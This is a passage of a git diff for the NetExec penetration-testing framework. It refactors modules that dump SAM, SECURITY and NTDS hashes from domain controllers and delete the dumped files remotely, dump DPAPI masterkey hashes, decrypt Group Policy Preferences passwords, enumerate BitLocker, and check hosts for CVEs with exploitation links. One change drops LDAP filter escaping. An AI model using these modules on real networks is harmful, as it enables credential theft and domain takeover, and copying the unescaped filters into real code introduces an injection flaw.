execution...") + try: + connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}") + continue + except Exception as exec_err: + context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}") + all_deleted = False + context.log.fail(f"Fail to remove the file {remote_name}: {e!s}") - context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}") - connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}") - sleep(0.2) - for hive in ["SAM", "SECURITY", "SYSTEM"]: + if all_deleted: + double_check = True + for hive in hives: remote_name = f"{hive}_{rand_suffix}" try: - out = connection.conn.listPath("SYSVOL", remote_name) - if out: - self.deleted_files = False - context.log.fail(f"Fail to remove the file {remote_name}, path: C:\\Windows\\sysvol\\sysvol\\{remote_name}") - except SessionError as e: - context.log.debug(f"File {remote_name} successfully removed: {e}") - else: - self.deleted_files = False - else: - self.deleted_files = False + if connection.conn.listPath("SYSVOL", remote_name): + double_check = False + context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}") + except SessionError: + pass + if double_check: + context.log.display("Successfully deleted dump files !") + return - if not self.deleted_files: - context.log.display("Use the domain admin account to clean the file on the remote host") - context.log.display(f"netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SAM_{rand_suffix} && del C:\\Windows\\sysvol\\sysvol\\SYSTEM_{rand_suffix}\"") # noqa: Q003 - else: - context.log.display("Successfully deleted dump files !") + self._print_cleanup_warning(context, rand_suffix) + + def _extract_da_hash(self, output_filename, context): + try: + with open(f"{output_filename}.ntds") as f: + fallback = None + for line in f: + fields = line.strip().split(":") + if len(fields) < 4 or not fields[3]: + continue + da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0] + if fields[1] == "500": + return da_user, fields[3] + if fallback is None: + fallback = (da_user, fields[3]) + if fallback: + return fallback + except Exception as e: + context.log.debug(f"Failed to read NTDS file for cleanup: {e}") + return None, None + + def _print_cleanup_warning(self, context, rand_suffix): + paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}" + if self.system_hive_saved: + paths += f", SYSTEM_{rand_suffix}" + context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}") def _strip_root_key(self, dce, key_name): # Let's strip the root key diff --git a/nxc/modules/bitlocker.py b/nxc/modules/bitlocker.py index 7e5a9d2639..c565ec699c 100644 --- a/nxc/modules/bitlocker.py +++ b/nxc/modules/bitlocker.py @@ -1,141 +1,116 @@ -import re -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from nxc.helpers.misc import CATEGORY - - -class NXCModule: - name = "bitlocker" - description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." - supported_protocols = ["smb", "wmi"] - category = CATEGORY.ENUMERATION - - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - - def options(self, context, module_options): - """ - USAGE: - - NetExec smb -u -p -M bitlocker - NetExec wmi -u -p -M bitlocker (Better option to use on real life.) - """ - - def on_admin_login(self, context, connection): - if context.protocol == "smb": - bitlocker_smb = BitLockerSMB(context, connection) - bitlocker_smb.check_bitlocker_status() - elif context.protocol == "wmi": - bitlocker_wmi = BitLockerWMI(context, connection) - bitlocker_wmi.check_bitlocker_status() - - -class BitLockerSMB: - def __init__(self, context, connection): - self.context = context - self.connection = connection - - def check_bitlocker_status(self): - # PowerShell command to check BitLocker volumes status. - check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' - - try: - # Executing the PowerShell command to get BitLocker volumes status. - check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) - - if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: - self.context.log.fail("BitLockerVolume not found on target.") - return - - # Splitting the output into lines. - lines = str(check_bitlocker_command_str_output).splitlines() - data_lines = [line for line in lines if re.match(r"\w:", line)] - - for line in data_lines: - # Checking every line for starting with drive - if line[1] == ":": - parts = line.split() - MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] - - # Checking if BitLocker is enabled. - if protection_status == "On": - self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") - else: - self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") - except Exception as e: - self.context.log.exception(f"Exception occurred: {e}") - - -class BitLockerWMI: - def __init__(self, context, connection): - self.context = context - self.connection = connection - - def check_bitlocker_status(self): - try: - # Create a DCOM connection - dcom_conn = DCOMConnection( - self.connection.host, - self.connection.username, - self.connection.password, - self.connection.domain, - self.connection.lmhash, - self.connection.nthash, - oxidResolver=True, - doKerberos=self.connection.kerberos, - kdcHost=self.connection.kdcHost) - - try: - # CoCreateInstanceEx for WMI login - i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface) - - # Specify the namespace for BitLocker - bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" - - # NTLM login for WMI - iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) - - # Set authentication level - iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - - # Query to get BitLocker status - classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" - iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) - encryptionTypeMapping = { - 0: "None", - 1: "AES_128_WITH_DIFFUSER", - 2: "AES_256_WITH_DIFFUSER", - 3: "AES_128", - 4: "AES_256", - 5: "HARDWARE_ENCRYPTION", - 6: "XTS_AES_128", - 7: "XTS_AES_256_WITH_DIFFUSER" - } - - try: - while True: - iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) - encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) - if iWbemClassObject[0].ProtectionStatus == 1: - self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") - else: - if encryptionMethod == 0: # Should be 0 if disabled - self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") - except Exception: - pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" - - # Release resources - iWbemLevel1Login.RemRelease() - iWbemServices.RemRelease() - dcom_conn.disconnect() - except Exception as e: - if "WBEM_E_INVALID_NAMESPACE" in str(e): - self.context.log.fail("BitLockerNamespace not found on target.") - dcom_conn.disconnect() - except Exception as e: - self.context.log.error(f"Error occurred during BitLocker check: {e}") - dcom_conn.disconnect() +import re +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from nxc.helpers.misc import CATEGORY + + +class NXCModule: + name = "bitlocker" + description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." + supported_protocols = ["smb", "wmi"] + category = CATEGORY.ENUMERATION + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + + def options(self, context, module_options): + """ + USAGE: + + NetExec smb -u -p -M bitlocker + NetExec wmi -u -p -M bitlocker (Better option to use on real life.) + """ + + def on_admin_login(self, context, connection): + if context.protocol == "smb": + bitlocker_smb = BitLockerSMB(context, connection) + bitlocker_smb.check_bitlocker_status() + elif context.protocol == "wmi": + bitlocker_wmi = BitLockerWMI(context, connection) + bitlocker_wmi.check_bitlocker_status() + + +class BitLockerSMB: + def __init__(self, context, connection): + self.context = context + self.connection = connection + + def check_bitlocker_status(self): + # PowerShell command to check BitLocker volumes status. + check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' + + try: + # Executing the PowerShell command to get BitLocker volumes status. + check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) + + if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: + self.context.log.fail("BitLockerVolume not found on target.") + return + + # Splitting the output into lines. + lines = str(check_bitlocker_command_str_output).splitlines() + data_lines = [line for line in lines if re.match(r"\w:", line)] + + for line in data_lines: + # Checking every line for starting with drive + if line[1] == ":": + parts = line.split() + MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] + + # Checking if BitLocker is enabled. + if protection_status == "On": + self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") + else: + self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") + except Exception as e: + self.context.log.exception(f"Exception occurred: {e}") + + +class BitLockerWMI: + def __init__(self, context, connection): + self.context = context + self.connection = connection + + def check_bitlocker_status(self): + # Reuse the wmi protocol's authenticated IWbemLevel1Login instead of + # creating a second DCOMConnection to the same target (whose disconnect + # would clash with the protocol's own) + try: + iWbemLevel1Login = self.connection.iWbemLevel1Login + bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" + iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) + iWbemLevel1Login.RemRelease() + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + + classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" + iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) + encryptionTypeMapping = { + 0: "None", + 1: "AES_128_WITH_DIFFUSER", + 2: "AES_256_WITH_DIFFUSER", + 3: "AES_128", + 4: "AES_256", + 5: "HARDWARE_ENCRYPTION", + 6: "XTS_AES_128", + 7: "XTS_AES_256_WITH_DIFFUSER" + } + + try: + while True: + iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) + encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) + if iWbemClassObject[0].ProtectionStatus == 1: + self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") + else: + if encryptionMethod == 0: # Should be 0 if disabled + self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") + except Exception: + pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" + + iWbemServices.RemRelease() + except Exception as e: + if "WBEM_E_INVALID_NAMESPACE" in str(e): + self.context.log.fail("BitLockerNamespace not found on target.") + else: + self.context.log.exception(f"Exception occurred: {e}") diff --git a/nxc/modules/certipy-find.py b/nxc/modules/certipy-find.py index ef6884cfbc..df74173989 100644 --- a/nxc/modules/certipy-find.py +++ b/nxc/modules/certipy-find.py @@ -2,12 +2,14 @@ import json import socket from os import makedirs +from os.path import join from certipy.commands.find import Find from certipy.lib.target import Target, DnsResolver from certipy.lib.formatting import pretty_print from datetime import datetime from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -34,7 +36,7 @@ def options(self, context, module_options): """ self.vuln = True self.enabled = False - self.output_path = f"{NXC_PATH}/modules/certipy-find" + self.output_path = join(NXC_PATH, "modules", "certipy-find") self.json = False self.csv = False self.text = False @@ -119,9 +121,9 @@ def on_login(self, context, connection): if self.json or self.csv or self.text: makedirs(self.output_path, exist_ok=True) - filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") + filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220) if self.json: - with open(f"{self.output_path}/{filename}.json", "w") as f: + with open(join(self.output_path, f"{filename}.json"), "w") as f: json.dump( output, f, @@ -131,10 +133,10 @@ def on_login(self, context, connection): if self.csv: template_output = finder.get_template_output_for_csv(output) ca_output = finder.get_ca_output_for_csv(output) - with open(f"{self.output_path}/{filename}-templates.csv", "w") as f: + with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f: f.write(template_output) - with open(f"{self.output_path}/{filename}-cas.csv", "w") as f: + with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f: f.write(ca_output) if self.text: - with open(f"{self.output_path}/{filename}.txt", "w") as f: + with open(join(self.output_path, f"{filename}.txt"), "w") as f: pretty_print(output, print_func=lambda x: f.write(x + "\n")) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 95722581ce..be00a90960 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -1,4 +1,5 @@ from impacket.dcerpc.v5 import transport, rprn, even, epm +from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY @@ -1083,7 +1084,7 @@ class EFS_HASH_BLOB(NDRSTRUCT): class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): structure = ( - ("Lenght", DWORD), + ("Length", DWORD), ("SID", RPC_SID), ("Hash", EFS_HASH_BLOB), ("Display", LPWSTR), diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index f639b29e09..950b143c46 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -3,16 +3,16 @@ import datetime from enum import Enum from impacket.ldap import ldaptypes +from impacket.ldap.ldapasn1 import SDFlagsControl from impacket.uuid import bin_to_string from nxc.helpers.misc import CATEGORY from nxc.helpers.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS from nxc.parsers.ldap_results import parse_result_attributes -from ldap3.utils.conv import escape_filter_chars -from ldap3.protocol.microsoft import security_descriptor_control import sys import traceback from os.path import isfile + OBJECT_TYPES_GUID = {} OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) @@ -190,8 +190,8 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): SEARCH_FILTERS = { - "TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})", - "TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})" + "TARGET": lambda target: f"(sAMAccountName={target})", + "TARGET_DN": lambda target: f"(distinguishedName={target})" } @@ -200,7 +200,7 @@ class NXCModule: This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me. It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added. - It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write. + It could be interesting to implement the write/remove functions here. """ name = "daclread" @@ -249,10 +249,10 @@ def options(self, context, module_options): context.log.debug("There is a target specified!") if isfile(module_options[option]): try: - target_file = open(module_options[option]) # noqa: SIM115 - for line in target_file: - context.log.debug(f"Adding target from file: {line}") - self.targets.append((line.strip(), SEARCH_FILTERS[option])) + with open(module_options[option]) as target_file: + for line in target_file: + context.log.debug(f"Adding target from file: {line}") + self.targets.append((line.strip(), SEARCH_FILTERS[option])) except Exception: context.log.fail("The file doesn't exist or cannot be opened.") else: @@ -288,7 +288,7 @@ def on_login(self, context, connection): if self.principal_sAMAccountName is not None: try: resp = connection.search( - searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})", + searchFilter=f"(sAMAccountName={self.principal_sAMAccountName})", attributes=["objectSid"], ) resp_parsed = parse_result_attributes(resp)[0] @@ -306,7 +306,7 @@ def on_login(self, context, connection): resp = connection.search( searchFilter=search_filter(target), attributes=["distinguishedName", "nTSecurityDescriptor"], - searchControls=security_descriptor_control(sdflags=0x04), + searchControls=[SDFlagsControl(criticality=False, flags=0x04)], ) resp_parsed = parse_result_attributes(resp)[0] diff --git a/nxc/modules/dpapi_hash.py b/nxc/modules/dpapi_hash.py index 98ed3da03d..23939b72e9 100644 --- a/nxc/modules/dpapi_hash.py +++ b/nxc/modules/dpapi_hash.py @@ -1,15 +1,12 @@ -from dploot.lib.target import Target from dploot.triage.masterkeys import MasterkeysTriage from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection - # Based on dpapimk2john, original work by @fist0urs class NXCModule: name = "dpapi_hash" description = "Remotely dump Dpapi hash based on masterkeys" - supported_protocols = ["smb"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): @@ -19,33 +16,11 @@ def options(self, context, module_options): self.outputfile = module_options["OUTPUTFILE"] def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - try: context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, + target=connection.dpapi_triage.target, + conn=connection.dpapi_triage.conn, ) context.log.debug(f"Masterkeys Triage: {masterkeys_triage}") context.log.debug("Collecting user masterkeys") diff --git a/nxc/modules/drop-sc.py b/nxc/modules/drop-sc.py index 5f358f1489..9a2385271c 100644 --- a/nxc/modules/drop-sc.py +++ b/nxc/modules/drop-sc.py @@ -47,7 +47,7 @@ def options(self, context, module_options): with open(self.scfile_path, "w") as scfile: scfile.truncate(0) scfile.write('') - scfile.write("') # noqa ISC001 + scfile.write('') scfile.write("Microsoft Outlook") scfile.write("false") scfile.write("true") diff --git a/nxc/modules/efsr_spray.py b/nxc/modules/efsr_spray.py index 03f27cde30..0e7e194026 100644 --- a/nxc/modules/efsr_spray.py +++ b/nxc/modules/efsr_spray.py @@ -13,7 +13,7 @@ def options(self, context: Context, module_options: dict[str, str]): """ FILE_NAME Name of the file which will be tried to create and afterwards delete SHARE_NAME If set, ONLY this share will be used - EXCLUDED_SHARES List of share names which will not be used, seperated by comma + EXCLUDED_SHARES List of share names which will not be used, separated by comma """ def on_login(self, context: Context, connection): diff --git a/nxc/modules/enum_cve.py b/nxc/modules/enum_cve.py index 7346f8e1cb..6c51292ab8 100644 --- a/nxc/modules/enum_cve.py +++ b/nxc/modules/enum_cve.py @@ -34,6 +34,8 @@ def options(self, context, module_options): - CVE-2025-54918 (NTLM MIC Bypass) - CVE-2025-53779 (BadSuccessor) - CVE-2024-49019 (EKUwu / ESC15) + - CVE-2026-54121 (Certighost) + - CVE-2026-27912 (ResetNightmare) CVE Filter for specific CVE number (default: All) EXPLOITATION Also provide sources for exploitation details (default: False) @@ -189,4 +191,34 @@ def on_login(self, context, connection): "message": "If host is an AD CS / CA server, it may be vulnerable to ESC15", "exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc", }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121 + "CVE-2026-54121": { + "alias": "Certighost", + "patches": { + (6, 2, 9200): 26226, # Windows Server 2012 + (6, 3, 9600): 23291, # Windows Server 2012 R2 + (10, 0, 14393): 9339, # Windows Server 2016 + (10, 0, 17763): 9020, # Windows Server 2019 + (10, 0, 20348): 5386, # Windows Server 2022 + (10, 0, 26100): 33158, # Windows Server 2025 + }, + "message": "If host is an AD CS / CA server, it may be vulnerable to Certighost", + "exploitation": "https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26", + }, + # https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912 + "CVE-2026-27912": { + "alias": "ResetNightmare", + "dc_only": True, + "patches": { + (6, 2, 9200): 26026, # Windows Server 2012 + (6, 3, 9600): 23132, # Windows Server 2012 R2 + (10, 0, 14393): 9060, # Windows Server 2016 + (10, 0, 17763): 8644, # Windows Server 2019 + (10, 0, 20348): 5020, # Windows Server 2022 + (10, 0, 25398): 2274, # Windows Server 2022 23H2 + (10, 0, 26100): 32690, # Windows Server 2025 + }, + "message": "Password reset of any account possible via Kerberos change password abuse", + "exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/", + }, } diff --git a/nxc/modules/enum_dns.py b/nxc/modules/enum_dns.py index cb295a6abc..7c1c4bed2a 100644 --- a/nxc/modules/enum_dns.py +++ b/nxc/modules/enum_dns.py @@ -1,6 +1,7 @@ from datetime import datetime from nxc.helpers.logger import write_log from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -63,6 +64,6 @@ def on_admin_login(self, context, connection): context.log.highlight("\t" + d) data += "\t" + d + "\n" - log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log" + log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") write_log(data, log_name) context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}") diff --git a/nxc/modules/example_module.py b/nxc/modules/example_module.py index 7c3d947915..f7adfdfbdd 100644 --- a/nxc/modules/example_module.py +++ b/nxc/modules/example_module.py @@ -22,6 +22,7 @@ def options(self, context, module_options): Module options get parsed here. Additionally, put the modules usage here as well """ # Put "No options available" in the docstring if there are no options for the module + # Return False to abort the run if options are invalid (log with context.log.fail first). def on_login(self, context, connection): """Concurrent. diff --git a/nxc/modules/firefox.py b/nxc/modules/firefox.py index ef54175ae4..556785ecb7 100644 --- a/nxc/modules/firefox.py +++ b/nxc/modules/firefox.py @@ -1,6 +1,6 @@ from dploot.lib.target import Target from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage +from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index e1b170abae..ce1629bc98 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -63,7 +63,7 @@ def on_login(self, context, connection): if len(answers) > 0: context.log.success("Found following users: ") for answer in answers: - context.log.highlight(f"User: {answer[0]} description: {answer[1]}") + context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}") def filter_answer(self, context, answers): # No option to filter diff --git a/nxc/modules/get-network.py b/nxc/modules/get-network.py index dcbb9188c9..f9fadfa0f2 100644 --- a/nxc/modules/get-network.py +++ b/nxc/modules/get-network.py @@ -7,8 +7,9 @@ from struct import unpack from impacket.structure import Structure -from os.path import expanduser +from os.path import expanduser, join from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from nxc.parsers.ldap_results import parse_result_attributes @@ -141,7 +142,7 @@ def on_login(self, context, connection): outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))] context.log.highlight(f"Found {len(outdata)} records") - path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") + path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"))) with open(path, "w") as outfile: for row in outdata: if self.showhosts: diff --git a/nxc/modules/get_netconnections.py b/nxc/modules/get_netconnections.py index facefd18d6..dc646b50fa 100755 --- a/nxc/modules/get_netconnections.py +++ b/nxc/modules/get_netconnections.py @@ -1,6 +1,7 @@ from datetime import datetime from nxc.helpers.logger import write_log from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH import json @@ -30,6 +31,6 @@ def on_admin_login(self, context, connection): data.append(cards) - log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log" + log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log") write_log(json.dumps(data), log_name) context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}") diff --git a/nxc/modules/gpp_autologin.py b/nxc/modules/gpp_autologin.py index 06e276fe05..2cf698a1c0 100644 --- a/nxc/modules/gpp_autologin.py +++ b/nxc/modules/gpp_autologin.py @@ -15,45 +15,40 @@ class NXCModule: category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): - """ """ + """No options available.""" def on_login(self, context, connection): - shares = connection.shares() - for share in shares: - if share["name"] == "SYSVOL" and "READ" in share["access"]: - context.log.success("Found SYSVOL share") - context.log.display("Searching for Registry.xml") + context.log.display("Searching SYSVOL share for Registry.xml") - paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) + paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) + for path in paths: + context.log.display(f"Found {path}") - for path in paths: - context.log.display(f"Found {path}") + buf = BytesIO() + connection.conn.getFile("SYSVOL", path, buf.write) + xml = ET.fromstring(buf.getvalue()) - buf = BytesIO() - connection.conn.getFile("SYSVOL", path, buf.write) - xml = ET.fromstring(buf.getvalue()) + if xml.findall('.//Properties[@name="DefaultPassword"]'): + usernames = [] + passwords = [] + domains = [] - if xml.findall('.//Properties[@name="DefaultPassword"]'): - usernames = [] - passwords = [] - domains = [] + xml_section = xml.findall(".//Properties") - xml_section = xml.findall(".//Properties") + for section in xml_section: + attrs = section.attrib - for section in xml_section: - attrs = section.attrib + if attrs["name"] == "DefaultPassword": + passwords.append(attrs["value"]) - if attrs["name"] == "DefaultPassword": - passwords.append(attrs["value"]) + if attrs["name"] == "DefaultUserName": + usernames.append(attrs["value"]) - if attrs["name"] == "DefaultUserName": - usernames.append(attrs["value"]) + if attrs["name"] == "DefaultDomainName": + domains.append(attrs["value"]) - if attrs["name"] == "DefaultDomainName": - domains.append(attrs["value"]) - - if usernames or passwords: - context.log.success(f"Found credentials in {path}") - context.log.highlight(f"Usernames: {usernames}") - context.log.highlight(f"Domains: {domains}") - context.log.highlight(f"Passwords: {passwords}") + if usernames or passwords: + context.log.success(f"Found credentials in {path}") + context.log.highlight(f"Usernames: {usernames}") + context.log.highlight(f"Domains: {domains}") + context.log.highlight(f"Passwords: {passwords}") diff --git a/nxc/modules/gpp_password.py b/nxc/modules/gpp_password.py index c36e0d5b19..392dd49b84 100644 --- a/nxc/modules/gpp_password.py +++ b/nxc/modules/gpp_password.py @@ -21,82 +21,77 @@ def options(self, context, module_options): """No options available""" def on_login(self, context, connection): - shares = connection.shares() - for share in shares: - if share["name"].lower() == "sysvol" and "READ" in share["access"]: - sysvol = share["name"] - context.log.success("Found SYSVOL share") - context.log.display("Searching for potential XML files containing passwords") - - paths = connection.spider( - sysvol, - pattern=[ - "Groups.xml", - "Services.xml", - "Scheduledtasks.xml", - "DataSources.xml", - "Printers.xml", - "Drives.xml", - ], - ) - - for path in paths: - context.log.display(f"Found {path}") - - buf = BytesIO() - connection.conn.getFile(sysvol, path, buf.write) - xml = ET.fromstring(buf.getvalue()) - sections = [] - - if "Groups.xml" in path: - sections.append("./User/Properties") - - elif "Services.xml" in path: - sections.append("./NTService/Properties") - - elif "ScheduledTasks.xml" in path: - sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties")) - - elif "DataSources.xml" in path: - sections.append("./DataSource/Properties") - - elif "Printers.xml" in path: - sections.append("./SharedPrinter/Properties") - - elif "Drives.xml" in path: - sections.append("./Drive/Properties") - - for section in sections: - xml_section = xml.findall(section) - for attr in xml_section: - props = attr.attrib - - if "cpassword" in props: - for user_tag in [ - "userName", - "accountName", - "runAs", - "username", - ]: - if user_tag in props: - username = props[user_tag] - - password = self.decrypt_cpassword(props["cpassword"]) - - context.log.success(f"Found credentials in {path}") - context.log.highlight(f"Password: {password}") - for k, v in props.items(): - if k != "cpassword": - context.log.highlight(f"{k}: {v}") - - hostid = context.db.get_hosts(connection.host)[0][0] - context.db.add_credential( - "plaintext", - "", - username, - password, - pillaged_from=hostid, - ) + context.log.display("Searching SYSVOL share for potential XML files containing passwords") + + paths = connection.spider( + "SYSVOL", + pattern=[ + "Groups.xml", + "Services.xml", + "Scheduledtasks.xml", + "DataSources.xml", + "Printers.xml", + "Drives.xml", + ], + ) + + for path in paths: + context.log.display(f"Found {path}") + + buf = BytesIO() + connection.conn.getFile("SYSVOL", path, buf.write) + xml = ET.fromstring(buf.getvalue()) + sections = [] + + if "Groups.xml" in path: + sections.append("./User/Properties") + + elif "Services.xml" in path: + sections.append("./NTService/Properties") + + elif "ScheduledTasks.xml" in path: + sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties")) + + elif "DataSources.xml" in path: + sections.append("./DataSource/Properties") + + elif "Printers.xml" in path: 